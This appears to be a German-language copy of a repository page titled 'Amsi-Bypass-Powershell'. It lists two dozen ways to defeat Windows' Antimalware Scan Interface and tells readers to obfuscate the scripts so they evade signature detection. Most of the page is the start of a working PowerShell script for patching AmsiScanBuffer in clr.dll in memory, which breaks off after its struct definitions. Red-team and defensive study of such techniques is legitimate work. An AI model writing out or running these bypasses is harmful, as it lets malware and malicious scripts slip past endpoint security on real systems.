Gesponsert von

     

Amsi-Bypass-Powershell

Dieses Repository enthält einige Antimalware Scan Interface (AMSI) Bypass-/Umgehungsmethoden, die ich in verschiedenen Blogbeiträgen gefunden habe.

Die meisten Skripte werden von AMSI selbst erkannt. Daher müssen Sie den Trigger finden und die Signatur an dem Teil durch Umbenennung von Variablen/Funktionen, Zeichenkettenersetzung oder Codierung und Decodierung zur Laufzeit ändern. Alternativ können Sie sie über ISESteroids und/oder Invoke-Obfuscation verschleiern, um sie funktionsfähig zu machen. Sie können auch einen Blick auf meinen Blogbeitrag über die manuelle Änderung der Signatur werfen, um wieder einen gültigen Bypass zu erhalten.

0. Patching AmsiScanBuffer in clr.dll
1. ScriptBlock Smuggling
2. Reflection ScanContent Change
3. Using Hardware Breakpoints
4. Using CLR hooking
5. Patch the provider’s DLL of Microsoft MpOav.dll
6. Scanning Interception and Provider function patching
7. Patching AMSI AmsiScanBuffer by rasta-mouse
8. Patching AMSI AmsiOpenSession
9. Dont use net webclient - diese funktioniert nicht mehr
10. Amsi ScanBuffer Patch from -> https://www.contextis.com/de/blog/amsi-bypass
11. Forcing an error
12. Disable Script Logging
13. Amsi Buffer Patch - In memory
14. Same as 6 but integer Bytes instead of Base64
15. Using Matt Graeber's Reflection method
16. Using Matt Graeber's Reflection method with WMF5 autologging bypass
17. Using Matt Graeber's second Reflection method
18. Using Cornelis de Plaa's DLL hijack method
19. Use Powershell Version 2 - No AMSI Support there
20. Nishang all in one
21. Adam Chesters Patch
22. Modified version of 3. Amsi ScanBuffer - no CSC.exe compilation
23. Patching the AmsiScanBuffer address in System.Management.Automation.dll

Patchen von CLR

• Hier erklärt Ändern der CLR-DLL im Arbeitsspeicher```powershell

Define Constants

$PAGE_READONLY = 0x02 $PAGE_READWRITE = 0x04 $PAGE_EXECUTE_READWRITE = 0x40 $PAGE_EXECUTE_READ = 0x20 $PAGE_GUARD = 0x100 $MEM_COMMIT = 0x1000 $MAX_PATH = 260

Helper functions

function IsReadable { param ($protect, $state) return ((($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and ($state -band $MEM_COMMIT) -eq $MEM_COMMIT) }

function PatternMatch { param ($buffer, $pattern, $index) for ($i = 0; $i -lt $pattern.Length; $i++) { if ($buffer[$index + $i] -ne $pattern[$i]) { return $false } } return $true }

if ($PSVersionTable.PSVersion.Major -gt 2) { # Create module builder $DynAssembly = New-Object System.Reflection.AssemblyName("Win32") $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False)

# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public)
$MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType()

# Define structs
$TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType])
[void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public)
[void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public)
$SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType()